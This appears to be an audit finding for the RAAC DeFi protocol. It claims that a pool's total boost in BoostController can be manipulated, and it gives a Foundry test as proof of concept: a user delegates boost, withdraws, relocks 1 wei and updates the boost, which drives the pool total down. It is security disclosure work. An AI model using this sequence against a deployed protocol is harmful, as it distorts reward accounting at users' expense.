The total boost amount for a pool can be manipulated.
When update the boost value for a user in a specific pool, the total boost amount for the pool is calculated based on the user's old boost amount and new boost amount which are also updated in the same function.
The total boost amount for a pool can be manipulated.
pragma solidity ^0.8.19;
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/collectors/FeeCollector.sol";
import "../contracts/core/collectors/Treasury.sol";
import "../contracts/core/governance/proposals/Governance.sol";
import "../contracts/core/governance/proposals/TimelockController.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/mocks/core/pools/MockPool.sol";
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
address owner = makeAddr("Owner");
address repairFund = makeAddr("RepairFund");
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
veRAACToken veRaacToken;
RAACMinter raacMinter;
FeeCollector feeCollector;
Treasury treasury;
Governance governance;
TimelockController timelockController;
BoostController boostController;
function setUp() public {
vm.warp(1 days);
vm.startPrank(owner);
raacHousePrices = new RAACHousePrices(owner);
raacToken = new RAACToken(owner, 100, 50);
veRaacToken = new veRAACToken(address(raacToken));
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
treasury = new Treasury(owner);
feeCollector = new FeeCollector(
address(raacToken),
address(veRaacToken),
address(treasury),
repairFund,
owner
);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
address[] memory proposers;
address[] memory executors;
timelockController = new TimelockController(2 days, proposers, executors, owner);
governance = new Governance(address(veRaacToken), address(timelockController));
boostController = new BoostController(address(veRaacToken));
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
lendingPool.setStabilityPool(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(veRaacToken), true);
timelockController.grantRole(keccak256("PROPOSER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EXECUTOR_ROLE"), address(governance));
timelockController.grantRole(keccak256("CANCELLER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EMERGENCY_ROLE"), address(governance));
vm.stopPrank();
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
vm.label(address(veRaacToken), "veRAAC");
vm.label(address(feeCollector), "FeeCollector");
vm.label(address(treasury), "Treasury");
vm.label(address(governance), "Governance");
vm.label(address(timelockController), "TimelockController");
vm.label(address(boostController), "BoostController");
}
function testAudit_PoolTotalBoostMisAccounting() public {
MockPool pool = new MockPool();
vm.prank(owner);
boostController.modifySupportedPool(address(pool), true);
uint256 bobLockAmount = 100e18;
address bob = makeAddr("Bob");
deal(address(raacToken), bob, bobLockAmount);
vm.startPrank(bob);
raacToken.approve(address(veRaacToken), bobLockAmount);
veRaacToken.lock(bobLockAmount, 1460 days);
vm.stopPrank();
vm.warp(block.timestamp + 1460 days);
uint256 aliceLockAmount = 100e18;
address alice = makeAddr("Alice");
deal(address(raacToken), alice, aliceLockAmount);
vm.startPrank(alice);
raacToken.approve(address(veRaacToken), aliceLockAmount);
veRaacToken.lock(aliceLockAmount, 1460 days);
vm.stopPrank();
assertEq(veRaacToken.balanceOf(alice), 100e18);
assertEq(veRaacToken.balanceOf(bob), 100e18);
boostController.updateUserBoost(alice, address(pool));
{
(uint256 totalBoost,,,) = boostController.getPoolBoost(address(pool));
assertEq(totalBoost, 175e18);
}
vm.startPrank(bob);
boostController.delegateBoost(address(pool), veRaacToken.balanceOf(bob), 7 days);
{
(uint256 amount,,,) = boostController.getUserBoost(bob, address(pool));
assertEq(amount, 100e18);
}
veRaacToken.withdraw();
raacToken.approve(address(veRaacToken), 1);
veRaacToken.lock(1, 1460 days);
vm.stopPrank();
boostController.updateUserBoost(bob, address(pool));
{
(uint256 amount,,,) = boostController.getUserBoost(bob, address(pool));
assertEq(amount, 1);
(uint256 totalBoost,,,) = boostController.getPoolBoost(address(pool));
assertEq(totalBoost, 75e18 + 1);
}
}
}